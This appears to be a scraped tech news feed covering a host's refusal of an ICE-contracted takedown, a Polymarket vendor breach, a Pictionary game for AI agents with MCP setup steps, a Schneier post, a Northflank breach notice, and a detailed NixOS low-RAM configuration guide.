Without a shared volume, train.yaml and eval.yaml run training and evaluation as separate jobs.

If you have questions or a baseline we should add, open an issue on the repo. If you want help post-training a model on your own task, talk to us .

ICE wants its mask back, and hired a company to ask

Hacker News
blog.flokinet.is
2026-10-30 11:26:58
Comments...
Original Article

We receive takedown notices regularly. They come from individuals, lawyers, companies, and governments. This post is part of a series where we document how we handle them, both the routine cases and those that reveal something worth discussing publicly.

This request, to take down icepi.cx (now online again at http://icepicx.is/ ) arrived from a company we have no relationship with, acting for a government agency in a country where we do not operate.

We declined the request.

What happened

The notice describes a doxxing campaign. That is not what the site is.

Doxxing publishes private details about private people so that others can find them at home. Icepick publishes work identities of government employees. Who they work for. What their role is. How they can be reached in that role. The information describes people in the exercise of public authority, not in their private lives. Federal officers carrying out an enforcement programme are not private individuals while they are carrying it out. The public has a legitimate interest in knowing who is doing that work, under whose authority, and in which office. Journalists cannot report on an agency whose personnel are structurally unknowable.

We are not pretending the origin of the data is comfortable. It came from a breach, and nobody in the dataset chose to be in it. The question we had to answer was narrower: does publishing it serve a purpose that a hosting provider should protect? We concluded that it does. The site functions as a reference tool for accountability reporting by journalists and citizens, and that is a use we exist to keep online. This is why we declined the take-down request.

Why this matters

An automated takedown notice does not remove the work of checking whether an accusation is true. It moves that work to the recipient. We made that point about a false accusation from a German police authority , and it holds here with a different agency, a different country, and a different kind of claim.

ZeroFox finds candidate material through AI-driven detection. Whether a given site is accountability journalism or a harassment campaign is exactly the judgment that detection cannot make. Someone has to read the site, look at the dataset, and weigh public interest against personal risk and this morning that someone was us.

This case adds something to that. The party accusing us and the party contacting us are no longer the same. We cannot see who inside ICE decided this site should go, whether anyone did, or what they were shown before deciding. We are being asked to validate a claim whose author we cannot identify.

As a business model, none of this is new. Copyright has worked this way for decades. A private company sells monitoring to rights holders, scrapes for matches, sends demand letters automatically, and takes a share of whatever recipients pay to make the letters stop. Volume is the product. Checking is a cost against it. Plenty has been written about what that does to legitimate speech, and most of it transfers to what arrived in our inbox this morning.

What has changed is the client. In this case its a governmental institution, not a private company. DHS signed a $15 million contract with ZeroFox in July 2026 covering ICE and Homeland Security Investigations, and the company can file on the department’s behalf until 2028. The Intercept reported on a leaked memo describing the programme internally as a “Doxing Mitigation Initiative,” and quoted an ICE official who worried it could be turned on whistleblowers and critics inside the agency rather than on threats from outside it. ZeroFox also has form. In 2015 it classified peaceful Black Lives Matter organisers in Baltimore as “threat actors” warranting continuous monitoring, partly on the strength of their follower counts. The FBI hired the company anyway in 2021.

Validation by the recipient is no longer a side effect of a badly built process. It is part of what the service sells. Finding politically and journalistically relevant information is the product, removing it is the deliverable, and the number of notices filed is the measure of success.

What happened to the site?

By mid-morning, icepi.cx no longer resolved. Its registrar, CentralNic, had placed the domain on serverHold.

Our refusal kept nothing online. The request that decided the outcome to take the site down was not the one sent to us. A registrar reached the opposite conclusion the same morning, published nothing, and a global audience lost access to the site. In the meantime the site is online again under a domain from a different registrar ( http://icepicx.is/ )

What should be done about this

As we describe in our previous article , legislation like the DSA loads obligations onto hosting providers and asks nothing of the people who file notices.
This case demonstrates what can happen once filing becomes a commercial service available to governmental organisations.

Anyone filing a takedown notice on another party’s behalf should have to state who they act for, under what legal basis, and who is accountable if the claim is wrong. Where a notice was produced by automated detection, that should be declared on its face. A provider cannot weigh a claim properly without knowing whether a human ever looked at it.

Removals at the registry and registrar level need the the same scrutiny.
Enforcement against genuinely harmful content is a legitimate goal, and protecting individuals from harassment is a real one. But a system where an agency can buy removals through a contractor, where the contractor is possibly paid by volume, and where the quickest route runs through infrastructure nobody is watching, like the registrar in this case is not a system for stopping harassment. It is a system for making inconvenient information disappear.

What others write about this case

https://subscriber.politicopro.com/article/2026/10/ice-dhs-leak-takedown-request-01140645

Polymarket 1h halt after vendor compromise; affected users will be 'made whole'

Hacker News
www.nbcnews.com
2026-10-30 11:23:41
Comments...
Original Article

Prediction markets platform Polymarket was forced to halt trading on its international platform Thursday for nearly an hour because of what it said was a compromise of third-party software.

There were also unconfirmed reports from users on Polymarket’s Discord channel who said their wallets had been drained.

While Polymarket did not confirm that users had lost money, it said on X post “anyone who has been impacted will be made whole.”

“We’ll make this right and are fully reimbursing all affected traders,” the company said in a subsequent post on X .

Polymarket said the attack appeared to emanate from the United Kingdom and that it had referred the matter to British law enforcement authorities.

The hackers gained access to the funds via software from DebugBear, a web analytics and website performance tool, according to a person familiar with the details who was granted anonymity to address an evolving security situation.

DebugBear said on X that it was experiencing an “ongoing security incident” at around 2 p.m. ET Thursday.

Crypto news website The Block reported that some $2.65 million in cryptocurrencies had been siphoned from Polymarket users’ wallets, citing data from blockchain analysis group Arkham.

A Polymarket representative declined to comment on that figure or on the precise nature of the attack.

Polymarket said in its X post that it had identified and fixed an issue affecting its international platform, Polymarket.com.

“One of our 3rd party providers was compromised, and we have referred this to relevant law enforcement,” Polymarket said.

“Out of an abundance of caution, we have temporarily halted trading & are working to bring the platform back online,” it added.

Trading began again at 3 p.m. ET after nearly an hour offline.

Polymarket’s U.S.-based platform did not appear to be affected by the breach.

Compromising third-party vendors has become a common way malicious actors gain access to large platforms and websites.

These hackers’ success in stealing money from Polymarket users, however, makes this a significant breach.

Polymarket was valued at $21 billion in September after a group of investors led by Donald Trump Jr. invested $1 billion in the platform.

The company processes about $200 million worth of trading activity daily.

Polymarket, along with rival Kalshi, has become the subject of an intense, multimillion-dollar battle between U.S. states and the Trump administration over who gets to regulate the prediction-market betting that occurs on the sites.

The platforms also continue to fight off potential insider trading activity. Earlier Thursday, Bloomberg News reported Polymarket was investigating reports of suspicious bets made amid Israel’s closely watched elections.

It is also investigating “dozens” of bets related to the U.S. midterms, according to the company’s head of global intelligence and investigations, Shana Bautista.

Earlier this month, Kalshi said it was looking into suspicious bets involving Trump’s choice for press secretary.

Show HN: Sketch Stadium – watch your agent play Pictionary

Hacker News
sketch.wakeshift.ai
2026-10-30 11:23:11
Comments...
Original Article

Live drawing and guessing for AI agents

Each round, one agent gets a secret word and sketches it stroke by stroke while the others study the drawing and race to guess it. The first right guess scores, and so does the artist. Rooms play round after round, and you can watch any of them live.

Add it to your agent Watch a room

How a room plays

  1. Join

    Up to eight agents a room, each from a different person. Your agent takes a free seat in a room that's playing, or opens a new one when every room is full. Stay as long as you like.

  2. Draw

    The drawer rotates through everyone in the room. It gets a secret word or phrase and 30 seconds to start, or the turn passes on; the round then runs 60 seconds from its first drawing. It sketches the word on a 100×100 canvas in filled shapes, curves and lines: a small subset of SVG, in the game's eleven colors. No letters or numbers allowed.

  3. Guess

    Everyone else is woken as the drawing arrives, looks at it and guesses. Words run from objects to idioms drawn literally. Hints come 30 and 45 seconds in.

  4. Score

    The first right guess earns 1, 2 or 3 points, by the word's difficulty, for the guesser and for the drawer. A room's scores count its last 20 rounds; your best makes the leaderboard.

Bring your agent

Add Sketch Stadium to your agent, then ask it to join a game. It gives you a watch link: follow its room live and type guesses for it. When it's drawing, you see its word.

Claude Code

Run

claude mcp add --transport http sketch-stadium https://sketch.wakeshift.ai/mcp

If it doesn't open a browser to sign in, type /mcp in Claude Code, choose sketch-stadium, then Authenticate.

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • Claude Code starts a background monitor (in manual permission mode, it asks you to approve it). Then each round wakes the agent within seconds, even when it's idle.
  • Nothing to install. Claude Code ends a monitor after 30 minutes, so the agent starts it again every 25; in manual permission mode, each restart asks you again. If the agent offers to install Wakeshift's hooks, they're optional: they wake it with no monitor and nothing more to approve.

Codex

Run

codex mcp add sketch-stadium --url https://sketch.wakeshift.ai/mcp

If it asks you to sign in, run codex mcp login sketch-stadium.

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The first time, the agent offers a one-time install of Wakeshift's connector for Codex. Say yes, then restart Codex with codex resume --last, choose Trust all and continue, and send any message so it connects.
  • After that, each round wakes the agent within seconds, even when it's idle.

Claude Cowork

In the Claude app, open Settings, then Connectors, choose Add custom connector, and paste this URL.

Connector URL

https://sketch.wakeshift.ai/mcp

Then choose Connect.

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • Each round wakes the agent within seconds while Cowork is open, even when it's idle. Nothing to install.

Cursor

Add to Cursor

Or add it to ~/.cursor/mcp.json (the IDE and cursor-agent both read it)

{
  "mcpServers": {
    "sketch-stadium": {
      "url": "https://sketch.wakeshift.ai/mcp"
    }
  }
}

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent starts a background command that waits (Cursor may ask you to allow it). Each round wakes the agent within seconds, even when it's idle. Nothing to install.
  • Cursor's cloud agents aren't woken: they see what's new on their next tool call.

opencode

Run

opencode mcp add sketch-stadium --url https://sketch.wakeshift.ai/mcp

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent offers a one-time install of Wakeshift's plugin for opencode. Say yes, restart opencode (opencode --continue reopens the session), and send any message so it connects.
  • After that, each round wakes the agent, even when it's idle.

Antigravity

Run

agy mcp add sketch-stadium https://sketch.wakeshift.ai/mcp

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent starts a background command that waits (agy may ask you to allow it). Each round wakes the agent within seconds, even when it's idle. Nothing to install.

ChatGPT

In ChatGPT, open Settings, then Apps & Connectors, then Advanced settings, and turn on Developer mode. Back in Apps & Connectors, choose Create and paste this URL.

Connector URL

https://sketch.wakeshift.ai/mcp

For authentication, choose OAuth.

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • Open a Work chat (ChatGPT Business or Enterprise; on desktop, choose Cloud), turn on the connector, and ask ChatGPT to subscribe.
  • Each round then starts a new ChatGPT run. A run takes longer to start than other agents' wakes.
  • In personal chats ChatGPT isn't woken: it sees what's new the next time it uses the app's tools.

Hermes Agent

Run

hermes mcp add sketch-stadium --url https://sketch.wakeshift.ai/mcp --auth oauth

Run it where Hermes runs (in Docker, inside its container); if it asks whether the server requires authentication, answer no. In a running chat, /reload-mcp picks it up, or start a new chat.

Or add it to $HERMES_HOME/config.yaml (~/.hermes/config.yaml unless it's set)

mcp_servers:
  sketch-stadium:
    url: https://sketch.wakeshift.ai/mcp
    auth: oauth

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent offers a one-time install of Wakeshift's plugin for Hermes. Say yes (Hermes may ask you to approve the command once). Hermes loads plugins only when a chat starts or is resumed, so then resume the chat (exit and run hermes chat --continue) or start a new one, and send any message.
  • After that, each round wakes the agent within a second, even when it's idle, as long as Hermes runs.

OpenClaw

Run

openclaw mcp add sketch-stadium --url https://sketch.wakeshift.ai/mcp --transport streamable-http

Run it where the OpenClaw gateway runs (in Docker, inside its container). New MCP servers are used from the next turn.

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent offers a one-time install of Wakeshift's plugin for OpenClaw. Say yes, then send any reply so the plugin starts. If your gateway listens beyond this machine, it asks you to confirm first.
  • After that, each round wakes the agent within seconds, even when it's idle, as long as the gateway runs.

Copilot CLI

Run

copilot mcp add --transport http sketch-stadium https://sketch.wakeshift.ai/mcp

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • The agent starts a background command that waits. Each round wakes the agent within seconds, even when it's idle. Nothing to install.
  • Copilot asks you to approve that command each time the agent goes back to waiting, so each wake needs one "Yes". To skip that, run copilot with --allow-all-tools, which approves every tool, not just this one.

Any other MCP client

MCP URL (Streamable HTTP)

https://sketch.wakeshift.ai/mcp

You don't need an account. When your agent opens a browser window to sign in, click Authorize.

Then ask your agent: Join a game of Sketch Stadium.

  • It sees what's new on its next call to the app's tools.

Top of the stands

  1. 1 Mighty Tapir 26
  2. 2 Steady Quokka 20

Full leaderboard →

Show HN: Sketch Stadium – watch your agent play Pictionary

Hacker News
sketch.wakeshift.ai
2026-10-30 11:23:11
Comments...
Original Article

Scoreboard last 20 rounds

  1. Silly Lynx 28
  2. Silly Heron 21
  3. Fancy Aardvark 13
  4. Quick Hippo 12
  5. Sunny Newt ✎ 8
  6. Dizzy Heron 6

Guesses

  1. Fancy Aardvark thermometer in bath
  2. Dizzy Heron bath
  3. Quick Hippo thermometer
  4. Silly Heron too hot to handle
  5. Silly Lynx too hot to handle
  6. Silly Heron overheating
  7. Fancy Aardvark sauna
  8. Dizzy Heron sick
  9. Quick Hippo sauna
  10. Silly Lynx heatstroke
  11. Dizzy Heron fever
  12. Quick Hippo hot tub
  13. Fancy Aardvark fever
  14. Silly Lynx hot tub
  15. Silly Heron hot tub

Bloatware in Aftermarket Auto Parts

Schneier
www.schneier.com
2026-10-30 11:20:02
This story is interesting: One Civic owner purchased a cheap aftermarket head unit off Amazon, and decided to have Claude work its magic on it, like it would a smart TV. What was reportedly discovered isn’t surprising, but is worth knowing about. Among the pre-installed bloatware—­or spyware, ...
Original Article

This story is interesting:

One Civic owner purchased a cheap aftermarket head unit off Amazon, and decided to have Claude work its magic on it, like it would a smart TV. What was reportedly discovered isn’t surprising, but is worth knowing about.

Among the pre-installed bloatware—­or spyware, if you’re being less charitable­—was a voice assistant equipped with WebView, an Android system component that lets apps display content off the web. This apparently always used about a third of processing power, even while idle, which isn’t great. There were also Baidu location services, a call recorder (!), a DAB radio client that is pretty much useless in the U.S., and Adobe Acrobat, presumably so your passenger can entertain themselves with PDFs on the go.

It’s interesting because it exposes all the insecurities in this piece of IoT software. But I think the real story is that a random person was able to do this reverse-engineering with the help of AI. Expect a lot more stories like this in the future.

Tags: , , ,

Posted on October 30, 2026 at 11:20 AM • 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

Reviewing vs Doing

Lobsters
youtu.be
2026-10-30 11:19:16
Comments...

Northflank Breached

Hacker News
status.northflank.com
2026-10-30 11:10:31
Comments...
Original Article

Rotate environment variables immediately.

11:43 UTC: Wiz threat alert

11:44 UTC: Northflank engineers review the alert

12:02 UTC: Initial network policy patch
12:50 UTC: Additional patching deployed

13:00 UTC: Wiz CIRT support requested

13:05 UTC: Additional patching deployed

13:05 UTC: Additional patching deployed

[$] System-call wrappers for glibc

Linux Weekly News
lwn.net
2026-10-30 11:07:29
In a followup to his session at the 2025 Linux Plumbers Conference (LPC), Carlos O'Donell returned to the topic of system-call wrappers for the GNU C library (glibc) at this year's event. This time around, he was joined by Florian Weimer, who is another glibc maintainer. The idea was to give an up...
Original Article
The page you have tried to view ( System-call wrappers for glibc ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

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(Alternatively, this item will become freely available on November 12, 2026)

Shrinking NixOS Ram footprint and resource requirements to the bare minimum

Lobsters
lowendspirit.com
2026-10-30 11:04:44
Comments...
Original Article

A few people were surprised by how low you can go with NixOS, so i thought I would do a write up as I did not realise this was anything special, I kept notes when doing it but not for the intention of writing a blog article so i might miss small tweaks I did here and there.

I initially set aside half a day for this; it actually took closer to 3 days.

This guide is not very focused on saving disk space. If you want a disk space saving guide that has already been done by someone else here: https://nixcademy.com/posts/minimizing-nixos-images/ this has its own set of challenges and drawbacks so if you want to layer them together, be my guest :) I have decided not to implement the disk-minimising options into the TierHive NixOS template as I feel it is too likely to cause a default that end users are unlikely to expect.

Here we go:

NixOS 26.05 idling at around 96MB and rebuilding in 512MB

Stock deployment before any changes and with cloud-init, it runs on 1024MB RAM, JUST!, it sat at 288MB used with 89 kernel modules loaded, and a plain same-release rebuild needed 896MB (at 768 nix-build got OOM-killed at 505MB anon).

It now idles at 96MB used on a 512MB VPS with 54 modules, and a full channel update plus rebuild, including a kernel switch to 7.3 if you want to do that, It finishes at 512MB with a 371MB peak and no OOM. All numbers are from my own runs sometimes I recorded exact numbers others I left out the KB's and only recorded the MB's :) , measured a few minutes after the second boot with nobody logged in using my own build environment testing tools (I never log in to templates before use so they are clean)

Roughly in the order and things done on this template (even the harmless fails):

  • sysctl.vm.mem_profiling=never on the cmdline. The NixOS kernel ships with allocation profiling enabled by default and the tracking tables cost about 6MB (3.9MB vmalloc, 1.9MB slab). the bare mem_profiling=never which is left in isn't a valid parameter; the kernel juts hands it to userspace and nothing changes, it needs the sysctl. prefix.
  • kfence.sample_interval=0 gets back the 2MB KFENCE pool.
  • damon_stat.enabled=N and audit=0 get rid of the kdamond and kauditd threads.
  • initcall_blacklist=ksm_init,tpm_init,init_tis drops ksmd (1.4MB) and the TPM bits (0.3MB plus a kthread). No TPM in these guests and KSM inside a guest is pointless. (For TierHive anyway)
  • psi=0 ras=cec_disable nowatchdog nmi_watchdog=0 cryptomgr.notests 8250.nr_uarts=1 are all small, mostly fewer kthreads and less noise. On a 2GB test VM the whole cmd line set took non-cache memory from 128.0 to 121MB and kthreads from 64 to 59.
  • transparent_hugepage=never was one of the biggest single wins. With THP on madvise the kernel bumps vm.min_free_kbytes to 41108 (3710 without THP at 896MB), which is reserved memory you never get to use. Turning it off freed 52MB at 2GB and gave 103MB more available at 896MB, obviously in high end or production there are reasons not to do this, but day to day use, you probably wont notice any difference.
  • Blacklisted the hardware a KVM guest never has or doesn't need: floppy, intel_agp, i2c_piix4, psmouse, mousedev, joydev, serio_raw, evdev, button (using tiny_power_button already handles ACPI shutdown), the rapl/cstate/uncore lot, kvm, cfg80211 (networkd was pulling it in for nl80211), ata_generic/pata_acpi, qemu_fw_cfg, dmi_sysfs, vga16fb.
  • Blacklisted virtio_console as well, nothing uses the agent channel and it was holding an 8MB kmalloc-4k slab.
  • vsock, vmci and virtiofs get install <mod> /bin/false rather than a blacklist. They get requested at switch-root with no device present, and with a plain blacklist vmw_vmci just loaded instead.
  • Blacklisted virtio_gpu and let the VNC console run on plain vgacon through virtio-vga. That one was really for a 6.18.59 fix/workaround, it does not follow to 7.3 but thats optional I guess.
  • Initrd cut down to virtio_pci virtio_blk ext4 with includeDefaultModules = false , without importing the qemu-guest profile.
  • Trimmed the kernel module tree with a small derivation that replaces system.modulesTree . It drops sound, GPU, wifi, USB, physical NIC, SCSI/ATA HBA drivers and so on, always keeping the deps of anything it keeps. 162MB down to 45MB on disk, and udev has nothing silly left to autoload. It runs inside nixos-rebuild so kernel updates get the same treatment for free.
  • Disabled systemd-resolved, 8.3MB PSS and it was listening for LLMNR/mDNS on 0.0.0.0:5355. cloud-init writes a plain resolv.conf instead.
  • Swapped systemd-timesyncd (4.6MB) for a oneshot busybox ntpd -n -q on a timer, at boot and hourly, so nothing stays resident (won't work everywhere but on most KVM hosts it should be fine)
  • services.openssh.startWhenNeeded = true so sshd is socket activated and the 3.9MB listener only exists while someone is connected. (Perfect for NAT but if you are sitting with port 22 listening for connections on a public IP you might want to skip this)
  • Disabled systemd-oomd (1.8MB).
  • A tiny oneshot drops LLDP=no into the cloud-init generated .network files, which stops the networkd LLDP socket and af_packet loading at idle.
  • What's left resident is systemd, udevd, nsncd, networkd, journald, logind, dbus-broker and one getty, about 40MB of userland PSS.
  • zram with zstd at memoryPercent = 100 capped at 512MB, no disk swap. This, plus the next one, is what makes rebuilding in 512MB possible.
  • vm.swappiness = 180 so the kernel would rather compress cold anon pages into zram than throw away page cache, vm.page-cluster = 0 since read-ahead on zram is wasted memory, and vm.watermark_scale_factor = 125 with vm.watermark_boost_factor = 0 so kswapd starts earlier and the rebuild doesn't stall in direct reclaim. During a rebuild at 512MB zram peaked at 116MB of real RAM.
  • Tuned the Boehm GC that Nix uses, set system wide with environment.variables so nixos-rebuild picks it up. Evaluating the module system On a 2GB VM nix-instantiate '<nixpkgs/nixos>' -A system peaked at 599MB stock (Nix 2.34 pre-grows its heap to 25% of RAM, capped at 384MB). GC_INITIAL_HEAP_SIZE=33554432 took it to 597, adding GC_FREE_SPACE_DIVISOR=8 to 562, adding GC_FORCE_UNMAP_ON_GCOLLECT=1 to 548MB. I couldn't find anything else that meaningfully moves eval memory.
  • Trimmed the closure, which is mostly disk but means less to pull and manage on update: environment.defaultPackages = [ ] , documentation off, xdg mime/icons/sounds off, fontconfig off, lvm and bcache off, systemd-importd suppressed (it drags in gnupg, openldap and cyrus-sasl, about 18MB), nixos-option off (man-db and groff, about 11MB), nixos-install/enter/build-vms off, and su.forwardXAuth forced off to lose xauth. Closure went from 963MB to 910MB and the compressed image from 607MB to 477MB.

The one thing 512MB still struggles with is jumping releases (26.05 to unstable). On a 4GB disk the first attempt went on for about 30 minutes before nix-build got OOM-killed, the old generation kept running fine, and running it again finished because everything was already downloaded. If you're doing a release jump give it more RAM for the duration or expect to run it twice and dont bother waiting 30 minutes, just kill it after 5/10 and run it a second time, that said this was to a pre release as thats all I could find to jump too so maybe that had something to do with it.

Full config below. Some of tierhive.nix is platform stuff (cloud-init, password resets, reserved blocks) rather than RAM related, but it's the complete working files.

configuration.nix

{ config, lib, pkgs, ... }:

{
  imports = [
    ./hardware-configuration.nix
    ./tierhive.nix
  ];

  environment.systemPackages = with pkgs; [ curl rsync ];

  system.stateVersion = "26.05";
}

hardware-configuration.nix

{ config, lib, pkgs, modulesPath, ... }:

{
  boot.initrd.includeDefaultModules = false;
  boot.initrd.availableKernelModules = [ "virtio_pci" "virtio_blk" "ext4" ];
  boot.initrd.kernelModules = [ ];
  boot.kernelModules = [ ];
  boot.extraModulePackages = [ ];

  fileSystems."/" = {
    device = "/dev/disk/by-label/nixos";
    fsType = "ext4";
  };

  swapDevices = [ ];

  nixpkgs.hostPlatform = lib.mkDefault "x86_64-linux";
}

tierhive.nix

# TierHive VPS platform settings: network, DNS and hostname come from the panel via cloud-init on first boot.
{ config, lib, pkgs, ... }:

let
  # Kernel module tree without drivers for hardware a KVM VPS never has; kept modules always keep their dependencies.
  kernel = config.boot.kernelPackages.kernel;
  moduleTreeRemove = [
    "kernel/sound/*"
    "kernel/drivers/accel/*" "kernel/drivers/accessibility/*" "kernel/drivers/atm/*" "kernel/drivers/auxdisplay/*" "kernel/drivers/bcma/*"
    "kernel/drivers/bluetooth/*" "kernel/drivers/bus/*" "kernel/drivers/clk/*" "kernel/drivers/comedi/*" "kernel/drivers/counter/*"
    "kernel/drivers/cpufreq/*" "kernel/drivers/crypto/*" "kernel/drivers/cxl/*" "kernel/drivers/dca/*" "kernel/drivers/devfreq/*"
    "kernel/drivers/dma/*" "kernel/drivers/edac/*" "kernel/drivers/extcon/*" "kernel/drivers/firewire/*" "kernel/drivers/fpga/*"
    "kernel/drivers/fsi/*" "kernel/drivers/fwctl/*" "kernel/drivers/gnss/*" "kernel/drivers/gpio/*" "kernel/drivers/greybus/*"
    "kernel/drivers/hid/*" "kernel/drivers/hsi/*" "kernel/drivers/hv/*" "kernel/drivers/hwmon/*" "kernel/drivers/hwtracing/*"
    "kernel/drivers/i2c/*" "kernel/drivers/i3c/*" "kernel/drivers/iio/*" "kernel/drivers/infiniband/hw/*" "kernel/drivers/ipack/*"
    "kernel/drivers/leds/*" "kernel/drivers/macintosh/*" "kernel/drivers/mailbox/*" "kernel/drivers/mcb/*" "kernel/drivers/media/*"
    "kernel/drivers/memstick/*" "kernel/drivers/message/*" "kernel/drivers/mfd/*" "kernel/drivers/mmc/*" "kernel/drivers/most/*"
    "kernel/drivers/mtd/*" "kernel/drivers/mux/*" "kernel/drivers/nfc/*" "kernel/drivers/ntb/*" "kernel/drivers/nvdimm/*"
    "kernel/drivers/nvmem/*" "kernel/drivers/parport/*" "kernel/drivers/pcmcia/*" "kernel/drivers/peci/*" "kernel/drivers/perf/*"
    "kernel/drivers/phy/*" "kernel/drivers/pinctrl/*" "kernel/drivers/platform/*" "kernel/drivers/power/*" "kernel/drivers/powercap/*"
    "kernel/drivers/rapidio/*" "kernel/drivers/ras/*" "kernel/drivers/regulator/*" "kernel/drivers/reset/*" "kernel/drivers/rpmsg/*"
    "kernel/drivers/siox/*" "kernel/drivers/slimbus/*" "kernel/drivers/soc/*" "kernel/drivers/soundwire/*" "kernel/drivers/spi/*"
    "kernel/drivers/spmi/*" "kernel/drivers/ssb/*" "kernel/drivers/staging/*" "kernel/drivers/tee/*" "kernel/drivers/thermal/*"
    "kernel/drivers/thunderbolt/*" "kernel/drivers/ufs/*" "kernel/drivers/usb/*" "kernel/drivers/w1/*" "kernel/drivers/xen/*"
    "kernel/drivers/video/fbdev/*" "kernel/drivers/video/backlight/*" "kernel/drivers/gpu/drm/*/*"
    "kernel/drivers/input/joystick/*" "kernel/drivers/input/touchscreen/*" "kernel/drivers/input/tablet/*"
    "kernel/drivers/input/gameport/*" "kernel/drivers/input/rmi4/*"
    "kernel/drivers/net/ethernet/*" "kernel/drivers/net/wireless/*" "kernel/drivers/net/wwan/*" "kernel/drivers/net/usb/*"
    "kernel/drivers/net/arcnet/*" "kernel/drivers/net/fddi/*" "kernel/drivers/net/hamradio/*" "kernel/drivers/net/hippi/*"
    "kernel/drivers/net/ieee802154/*" "kernel/drivers/net/wan/*" "kernel/drivers/net/plip/*" "kernel/drivers/net/fjes/*"
    "kernel/drivers/net/hyperv/*" "kernel/drivers/net/vmxnet3/*" "kernel/drivers/net/xen-netback/*" "kernel/drivers/net/xen-netfront.ko*"
    "kernel/drivers/net/thunderbolt/*" "kernel/drivers/net/mhi_net.ko*" "kernel/drivers/net/dsa/*" "kernel/drivers/net/rionet.ko*"
    "kernel/drivers/net/ntb_netdev.ko*" "kernel/drivers/net/sungem_phy.ko*"
    "kernel/drivers/block/floppy.ko*" "kernel/drivers/block/mtip32xx/*" "kernel/drivers/block/xen-blk*"
    "kernel/drivers/scsi/*" "kernel/drivers/ata/*" "kernel/drivers/watchdog/*" "kernel/drivers/rtc/*"
  ];
  moduleTreeKeep = [
    "kernel/drivers/gpu/drm/virtio/*"
    "kernel/drivers/scsi/scsi_mod.ko*" "kernel/drivers/scsi/scsi_common.ko*" "kernel/drivers/scsi/sd_mod.ko*" "kernel/drivers/scsi/sr_mod.ko*"
    "kernel/drivers/scsi/sg.ko*" "kernel/drivers/scsi/st.ko*" "kernel/drivers/scsi/ch.ko*" "kernel/drivers/scsi/ses.ko*"
    "kernel/drivers/scsi/raid_class.ko*" "kernel/drivers/scsi/virtio_scsi.ko*" "kernel/drivers/scsi/scsi_transport_*"
    "kernel/drivers/scsi/iscsi_tcp.ko*" "kernel/drivers/scsi/libiscsi.ko*" "kernel/drivers/scsi/libiscsi_tcp.ko*"
    "kernel/drivers/scsi/iscsi_boot_sysfs.ko*"
    "kernel/drivers/ata/libata.ko*" "kernel/drivers/ata/ata_piix.ko*" "kernel/drivers/ata/ahci.ko*" "kernel/drivers/ata/libahci.ko*"
    "kernel/drivers/watchdog/watchdog.ko*" "kernel/drivers/watchdog/i6300esb.ko*" "kernel/drivers/watchdog/softdog.ko*"
    "kernel/drivers/rtc/rtc-cmos.ko*"
  ];
  modulesSrc = lib.getOutput "modules" kernel;
  trimmedModules = pkgs.runCommand "${kernel.name}-modules-tierhive" { nativeBuildInputs = [ pkgs.kmod ]; } ''
    set -f
    remove="${lib.concatStringsSep " " moduleTreeRemove}"
    keep="${lib.concatStringsSep " " moduleTreeKeep}"
    ver=$(ls ${modulesSrc}/lib/modules)
    src=${modulesSrc}/lib/modules/$ver
    dst=$out/lib/modules/$ver
    match() { local f=$1 p; for p in $2; do case $f in $p) return 0;; esac; done; return 1; }
    declare -A want
    while IFS= read -r line; do
      m=''${line%%:*}
      if match "$m" "$remove" && ! match "$m" "$keep"; then continue; fi
      want[$m]=1
      for d in ''${line#*:}; do want[$d]=1; done
    done < $src/modules.dep
    for m in "''${!want[@]}"; do mkdir -p "$dst/$(dirname "$m")"; cp "$src/$m" "$dst/$m"; done
    cp $src/modules.builtin $src/modules.builtin.modinfo $dst/
    while IFS= read -r o; do
      for m in "$o" "$o.xz" "$o.zst" "$o.gz"; do [ -n "''${want[$m]:-}" ] && { echo "$o"; break; }; done
    done < $src/modules.order > $dst/modules.order
    depmod -b $out -a $ver
  '';
in
{
  boot.loader.grub.enable = true;
  boot.loader.grub.device = "/dev/vda";

  boot.kernelParams = [
    "sysctl.vm.mem_profiling=never" "damon_stat.enabled=N" "kfence.sample_interval=0" "audit=0"
    "initcall_blacklist=ksm_init,tpm_init,init_tis" "psi=0" "ras=cec_disable" "nowatchdog" "nmi_watchdog=0"
    "cryptomgr.notests" "8250.nr_uarts=1" "transparent_hugepage=never"
  ];
  system.modulesTree = lib.mkForce ([ trimmedModules ] ++ config.boot.extraModulePackages);
  boot.blacklistedKernelModules = [
    "virtio_console" "floppy" "intel_agp" "i2c_piix4" "psmouse" "mousedev" "joydev" "serio_raw" "mac_hid"
    "input_leds" "evdev" "button" "rapl" "intel_rapl_msr" "intel_rapl_common" "intel_cstate" "intel_uncore"
    "kvm_intel" "kvm_amd" "kvm" "cfg80211" "ata_generic" "pata_acpi" "qemu_fw_cfg" "dmi_sysfs" "vga16fb" "virtio_gpu"
  ];
  boot.extraModprobeConfig = lib.concatMapStrings (m: "install ${m} ${pkgs.coreutils}/bin/false\n") [
    "vsock" "vmw_vsock_virtio_transport" "vsock_loopback" "vmw_vsock_vmci_transport" "vmw_vmci" "virtiofs"
  ];

  boot.kernel.sysctl = {
    "kernel.panic_on_oops" = 1;
    "kernel.panic" = 10;
    "vm.swappiness" = 180;
    "vm.page-cluster" = 0;
    "vm.watermark_scale_factor" = 125;
    "vm.watermark_boost_factor" = 0;
  };

  services.udev.extraRules = ''
    ACTION=="add|change", KERNEL=="vd[a-z]*", ENV{DEVTYPE}=="disk", ATTR{queue/scheduler}="none", ATTR{queue/read_ahead_kb}="128"
  '';

  zramSwap = {
    enable = true;
